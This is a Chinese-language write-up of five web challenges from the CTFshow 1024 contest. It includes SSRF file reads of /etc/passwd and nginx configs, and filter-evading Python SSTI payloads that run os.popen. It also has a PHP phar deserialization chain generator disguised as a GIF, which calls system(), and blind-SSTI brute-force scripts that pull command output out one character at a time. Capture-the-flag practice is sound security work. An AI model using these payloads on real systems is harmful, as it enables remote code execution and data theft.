天天看點

[CTFSHOW1024]Web篇

文章目錄

  • ​​1024_WEB簽到​​
  • ​​1024_圖檔代理​​
  • ​​1024_fastapi​​
  • ​​姿勢一​​
  • ​​姿勢二​​
  • ​​姿勢很多,随便測試兩個​​
  • ​​1024_柏拉圖​​
  • ​​1024_hello_world​​
  • ​​參考文章​​

1024_WEB簽到

代碼審計,唯一利用點​

​call_user_func​

​​,一般都是需要兩個參數(可以看看官方文檔你就知道我的意思了),但是本題隻給了我們傳入一個參數的選擇,那麼他必定是無參數的函數,加上這個是一道簽到題,是以不難得出看看​

​phpinfo​

​裡面到底有啥

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-20 23:59:00
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-21 03:51:36
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);      

​http://426a1193-175d-45bb-acd8-f8ae1444f794.chall.ctf.show?f=phpinfo​

​​ 在​

​phpinfo​

​當中發現關鍵的利用點,有個支援的函數​

​ctfshow_1024​

[CTFSHOW1024]Web篇

flag就出了 很簡單

[CTFSHOW1024]Web篇

1024_圖檔代理

首先打開題目看見URL後面跟的參數感覺可控,base64解密後得到​

​http://p.qlogo.cn/gh/372619038/372619038/0​

​​,既然如此那就試一試能不能通路本地檔案​

​file:///etc/passwd​

[CTFSHOW1024]Web篇

完全沒問題,猜測成功

[CTFSHOW1024]Web篇

嘗試直接讀取​

​file:///flag​

​,沒有回顯,然後就懵逼了hhh,考慮下其他方面,比如預設的配置檔案啥的,老規矩​

​BurpSuite​

​,發現是​

​nginx​

[CTFSHOW1024]Web篇

讀取配置檔案​

​file:///etc/nginx/nginx.conf​

# /etc/nginx/nginx.conf

user nginx;

# Set number of worker processes automatically based on number of CPU cores.
worker_processes auto;

# Enables the use of JIT for regular expressions to speed-up their processing.
pcre_jit on;

# Configures default error logger.
error_log /var/log/nginx/error.log warn;

# Includes files with directives to load dynamic modules.
include /etc/nginx/modules/*.conf;


events {
  # The maximum number of simultaneous connections that can be opened by
  # a worker process.
  worker_connections 1024;
}

http {
  # Includes mapping of file name extensions to MIME types of responses
  # and defines the default type.
  include /etc/nginx/mime.types;
  default_type application/octet-stream;

  # Name servers used to resolve names of upstream servers into addresses.
  # It's also needed when using tcpsocket and udpsocket in Lua modules.
  #resolver 208.67.222.222 208.67.220.220;

  # Don't tell nginx version to clients.
  server_tokens off;

  # Specifies the maximum accepted body size of a client request, as
  # indicated by the request header Content-Length. If the stated content
  # length is greater than this size, then the client receives the HTTP
  # error code 413. Set to 0 to disable.
  client_max_body_size 1m;

  # Timeout for keep-alive connections. Server will close connections after
  # this time.
  keepalive_timeout 65;

  # Sendfile copies data between one FD and other from within the kernel,
  # which is more efficient than read() + write().
  sendfile on;

  # Don't buffer data-sends (disable Nagle algorithm).
  # Good for sending frequent small bursts of data in real time.
  tcp_nodelay on;

  # Causes nginx to attempt to send its HTTP response head in one packet,
  # instead of using partial frames.
  #tcp_nopush on;


  # Path of the file with Diffie-Hellman parameters for EDH ciphers.
  #ssl_dhparam /etc/ssl/nginx/dh2048.pem;

  # Specifies that our cipher suits should be preferred over client ciphers.
  ssl_prefer_server_ciphers on;

  # Enables a shared SSL cache with size that can hold around 8000 sessions.
  ssl_session_cache shared:SSL:2m;


  # Enable gzipping of responses.
  #gzip on;

  # Set the Vary HTTP header as defined in the RFC 2616.
  gzip_vary on;

  # Enable checking the existence of precompressed files.
  #gzip_static on;


  # Specifies the main log format.
  log_format main '$remote_addr - $remote_user [$time_local] "$request" '
      '$status $body_bytes_sent "$http_referer" '
      '"$http_user_agent" "$http_x_forwarded_for"';

  # Sets the path, format, and configuration for a buffered log write.
  access_log /var/log/nginx/access.log main;


  # Includes virtual hosts configs.
  include /etc/nginx/conf.d/*.conf;
}      

看見最後一排​

​file:///etc/nginx/conf.d/default.conf​

server {
    listen 80 default_server;
    listen [::]:80 default_server;
    root         /var/www/bushihtml;
    index        index.php index.html;

    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

    location / {
        try_files $uri  $uri/ /index.php?$args;
    }

    location ~ \.php$ {
        try_files $uri =404;
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        include        fastcgi_params;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
    }

    location = /404.html {
        internal;
    }

}      

然後發現一些關鍵的配置資訊

root         /var/www/bushihtml;
index        index.php index.html;
fastcgi_pass   127.0.0.1:9000;      

不難想到一個利用點​

​Gopher打fastcgi​

[CTFSHOW1024]Web篇

看出名字即為flag

[CTFSHOW1024]Web篇

1024_fastapi

這裡提供兩個姿勢吧,也是自己學到的新姿勢

首先打開網站環境

[CTFSHOW1024]Web篇

根據題目提示搜一搜​

​fastapi​

FastAPI 是一個高性能 Web 架構,用于建構 API。

主要特性:

快速:非常高的性能,與 NodeJS 和 Go 相當
快速編碼:将功能開發速度提高約 200% 至 300%
更少的錯誤:減少約 40% 的人為錯誤
直覺:強大的編輯器支援,自動補全無處不在,調試時間更少
簡易:旨在易于使用和學習,減少閱讀文檔的時間。
簡短:減少代碼重複。
穩健:擷取可用于生産環境的代碼,具有自動互動式文檔
基于标準:基于并完全相容 API 的開放标準 OpenAPI 和 JSON Schema      

通過官方文檔發現其自帶一個互動式API文檔

[CTFSHOW1024]Web篇

這裡發現兩個網址,根據經驗應該是第二個位址

[CTFSHOW1024]Web篇

因為基于​

​Python​

​​,是以可以嘗試一波​

​SSTI​

[CTFSHOW1024]Web篇

發現不用加上​

​{{}}​

[CTFSHOW1024]Web篇

發現報​

​500​

​錯誤,可能是因為類型不比對,這邊需要字元型

[CTFSHOW1024]Web篇

成功了

[CTFSHOW1024]Web篇

成功,嘗試執行指令,需找到​

​[].__class__.__base__.__subclasses__()​

​下​

​catch_warnings​

​所在的下标,經過測試過濾了​

​__import__\popen\eval​

​等,發現能夠繞過,發現在根目錄沒有什麼敏感檔案,我們檢視目前目錄下面讀取源代碼

姿勢一

​q=str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("ls ./").read()'))​

姿勢二

​q=str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /').read())​

[CTFSHOW1024]Web篇

姿勢很多,随便測試兩個

發現提示ok了,本題也結束了

[CTFSHOW1024]Web篇

得到flag

[CTFSHOW1024]Web篇

1024_柏拉圖

在開始講解之前給大家科普下常用的

__wakeup() //使用unserialize時觸發

__sleep() //使用serialize時觸發

__destruct() //對象被銷毀時觸發

__call() //在對象上下文中調用不可通路的方法時觸發

__callStatic() //在靜态上下文中調用不可通路的方法時觸發

__get() //用于從不可通路的屬性讀取資料

__set() //用于将資料寫入不可通路的屬性

__isset() //在不可通路的屬性上調用isset()或empty()觸發

__unset() //在不可通路的屬性上使用unset()時觸發

__toString() //把類當作字元串使用時觸發

__invoke() //當腳本嘗試将對象調用為函數時觸發

首頁利用點

[CTFSHOW1024]Web篇

不行,嘗試file協定

[CTFSHOW1024]Web篇

​file:///etc/passwd​

​沒有任何回顯,但是下面沒有報錯了

[CTFSHOW1024]Web篇

最後發現是雙寫繞過,成功了

​fifile://le:///etc/passwd​

[CTFSHOW1024]Web篇

​fifile://le:///var/www/html/index.php​

​嘗試讀取首頁

[CTFSHOW1024]Web篇

​upload.php​

<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {

    if (file_exists("upload/" . $_FILES["file"]["name"])){
      echo $_FILES["file"]["name"] . " 檔案已經存在啦!";
    }else{
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
      echo "檔案存儲在: " . "upload/" . $_FILES["file"]["name"];
    }
}else{
      echo "這個檔案我不喜歡,我喜歡一個gif的檔案";
    }
}
?>      

​readfile.php​

<?php
error_reporting(0);
include('class.php');
function check($filename){  
    if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
        die("姿勢太簡單啦,來一點騷的?!");
    }else{
        return 0;
    }
}
if(isset($_GET['filename'])){
    $file=$_GET['filename'];
        if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
            die("這麼簡單的獲得不可能吧?!");
        }
        echo readfile($file);
}
?>      

​unlink.php​

<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){  
  if (preg_match("/\.\.\//i",$file)){
      die("你想幹什麼?!");
  }else{
      return $file;
  }
}
if(file_exists("upload/".$file)){
      if(unlink("upload/".check($file))){
          echo "删除".$file."成功!";
      }else{
          echo "删除".$file."失敗!";
      }
}else{
    echo '要删除的檔案不存在!';
}
?>      

​class.php​

<?php
error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
?>      

這裡我們通過​

​readfile​

​​當中的​

​/^phar​

​​以及後來的​

​class.php​

​​不難想到是使用​

​phar​

​​實作反序列化,但是​

​phar​

​​不能出現在首部,可以利用​

​compress.zlib://​

​​或 ​

​compress.bzip2://​

​​函數來實作繞過

接下來我們看看如何實作反序列化過程利用,來構造pop鍊,不難想到把​​

​class A中的a指派為class B​

​​這樣當A對象銷毀時​

​__destruct​

​​其中​

​echo​

​​ 就能調用​

​class B當中的__toString​

​​,這個時候,如果我們把其變量​

​b指派為class C​

​​那麼就能觸發​

​__invoke​

​​來實作任意指令執行

接下來我給出生成​​

​phar​

​的腳本

<?php
ini_set('phar.readonly','Off');
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}


$phar = new Phar("phar.phar");//字尾名必須為phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new A('');
$o->a = new B('');
$o->a->b = new C('system("ls /");');
$phar->setMetadata($o);
$phar->addFromString("text.txt","test");//添加要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();      

将生成的檔案改字尾​

​gif​

​,并上傳

[CTFSHOW1024]Web篇

​compress.zlib://phar:///var/www/html/upload/1.gif​

​,成功了hhh

[CTFSHOW1024]Web篇

将其改為​

​system("cat /ctfshow_1024_flag.txt");​

[CTFSHOW1024]Web篇

成功得到了flag

[CTFSHOW1024]Web篇

1024_hello_world

看起來是一個​

​SSTI​

​的題目,補充一些繞過的知識點可以看我以前的一篇部落格,見下面參考連結

[CTFSHOW1024]Web篇

發現不太像行,以為被繞過了

[CTFSHOW1024]Web篇

啊這,還是不行,看了網上的師傅說的才知道這道題是​

​SSTI​

​的盲注

[CTFSHOW1024]Web篇
[CTFSHOW1024]Web篇

接下來就是一步一步測試了,接下裡我就隻給​

​payload​

​​來記錄我的每一步了,當然還要知道​

​catch_warnings​

​​的位置,我們這裡利用如果參數錯誤則伺服器爆​

​500​

​​錯誤的特性來以及參數成功會顯示我們自定義的字元比如​

​2132​

​爆破

注意​

​字元串前加 r​

​,不然python會有錯誤

import requests
for i in range(200):
    data = {
        'key': r'{%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()['+f'{i}'+r']["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]!=1%}2132{%endif%}'
    }
    url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
    r = requests.post(url, data=data)
    if '2132' in r.text:
        print(data)
        break      

最後爆破出來是64

[CTFSHOW1024]Web篇

好不容易找到了姿勢,有些不能用,不知道是我的問題還是環境過濾了,希望大家在評論區給出自己的新思路

​key={%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[64]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["\x5f\x5fdict\x5f\x5f"]["popen"]("ls /")["read"]()[0]!=1%}2132{%endif%}​

[CTFSHOW1024]Web篇

最後我們用python腳本即可得到flag

第一步,得到根目錄下檔案名

import requests
import string

strs = string.digits + string.ascii_lowercase + ' -_{}'

url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
cmd = 'ls /'

name = ''
for i in range(0, 50):
    for ch in strs:
        payload = '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(
            i) + ']=="' + ch + '"%}2123{%endif%}'
        data = {'key': payload}
        r = requests.post(url, data)
        if '2123' in r.text:
            name += ch
            print('name = ' + name)
            break      
[CTFSHOW1024]Web篇
import requests
import string

strs = string.digits + string.ascii_lowercase + '-_{}'

url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
cmd = 'cat /ctf*'

flag = ''
for i in range(0, 50):
    for ch in strs:
        payload = '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(
            i) + ']=="' + ch + '"%}2123{%endif%}'
        data = {'key': payload}
        r = requests.post(url, data)
        if '2123' in r.text:
            flag += ch
            print('flag = ' + flag)
            break